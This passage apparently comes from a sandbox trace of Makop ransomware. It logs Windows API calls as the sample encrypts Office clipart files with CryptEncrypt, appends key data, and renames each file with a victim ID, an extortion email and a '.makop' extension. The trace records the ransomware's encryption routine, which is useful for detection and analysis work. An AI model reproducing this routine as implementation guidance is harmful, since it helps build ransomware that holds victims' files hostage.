lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0139.340] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.340] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.340] GetProcessHeap () returned 0x48a0000 [0139.340] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.340] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.340] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.340] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.340] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.340] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.341] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.341] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.341] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.341] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.341] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.341] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.341] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6efa, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6efa, lpOverlapped=0x0) returned 1 [0139.343] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6f00, dwBufLen=0x6f00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6f00) returned 1 [0139.343] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.344] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6f00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6f00, lpOverlapped=0x0) returned 1 [0139.344] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.344] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6fd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.344] SetEndOfFile (hFile=0xf0) returned 1 [0139.351] GetProcessHeap () returned 0x48a0000 [0139.351] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.351] GetProcessHeap () returned 0x48a0000 [0139.351] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.351] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.351] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.353] CloseHandle (hObject=0xf0) returned 1 [0139.353] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6a54b00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6a54b00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x5880, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00525_.WMF", cAlternateFileName="")) returned 1 [0139.353] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF") returned 63 [0139.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.356] GetProcessHeap () returned 0x48a0000 [0139.356] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.356] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.356] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.356] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.356] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.356] GetProcessHeap () returned 0x48a0000 [0139.356] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.356] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.356] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.356] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.360] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.360] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.360] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.361] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.361] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.361] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.361] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.361] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.361] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5880, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5880, lpOverlapped=0x0) returned 1 [0139.363] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5880, dwBufLen=0x5880 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5880) returned 1 [0139.363] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.363] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5880, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5880, lpOverlapped=0x0) returned 1 [0139.364] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.364] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.364] SetEndOfFile (hFile=0xf0) returned 1 [0139.371] GetProcessHeap () returned 0x48a0000 [0139.371] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.371] GetProcessHeap () returned 0x48a0000 [0139.371] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.371] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.372] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.374] CloseHandle (hObject=0xf0) returned 1 [0139.374] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35fc4a00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35fc4a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x477c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00530_.WMF", cAlternateFileName="")) returned 1 [0139.375] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF") returned 63 [0139.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.376] GetProcessHeap () returned 0x48a0000 [0139.376] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.376] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.377] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.377] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.380] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.381] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.381] GetProcessHeap () returned 0x48a0000 [0139.381] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.381] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.381] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.381] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.381] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.381] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.381] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.381] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.382] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.382] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.382] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.382] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.382] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x477c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x477c, lpOverlapped=0x0) returned 1 [0139.384] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4780, dwBufLen=0x4780 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4780) returned 1 [0139.384] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.384] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4780, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4780, lpOverlapped=0x0) returned 1 [0139.385] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.385] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.385] SetEndOfFile (hFile=0xf0) returned 1 [0139.391] GetProcessHeap () returned 0x48a0000 [0139.391] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.391] GetProcessHeap () returned 0x48a0000 [0139.391] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.391] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.391] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.392] CloseHandle (hObject=0xf0) returned 1 [0139.393] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x530, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00532_.WMF", cAlternateFileName="")) returned 1 [0139.393] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF") returned 63 [0139.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.394] GetProcessHeap () returned 0x48a0000 [0139.394] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.394] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.394] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.394] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.394] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.394] GetProcessHeap () returned 0x48a0000 [0139.394] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.394] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.394] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.394] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.399] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.399] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.399] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.400] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.400] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.400] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.400] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.400] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.400] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x530, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x530, lpOverlapped=0x0) returned 1 [0139.400] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x530, dwBufLen=0x530 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x530) returned 1 [0139.400] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.401] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x530, lpOverlapped=0x0) returned 1 [0139.401] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.401] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x604, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.401] SetEndOfFile (hFile=0xf0) returned 1 [0139.407] GetProcessHeap () returned 0x48a0000 [0139.407] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.407] GetProcessHeap () returned 0x48a0000 [0139.407] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.407] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.407] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.409] CloseHandle (hObject=0xf0) returned 1 [0139.409] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34cb1d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34cb1d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x7d14, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00538_.WMF", cAlternateFileName="")) returned 1 [0139.409] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF") returned 63 [0139.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.410] GetProcessHeap () returned 0x48a0000 [0139.410] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.410] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.410] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 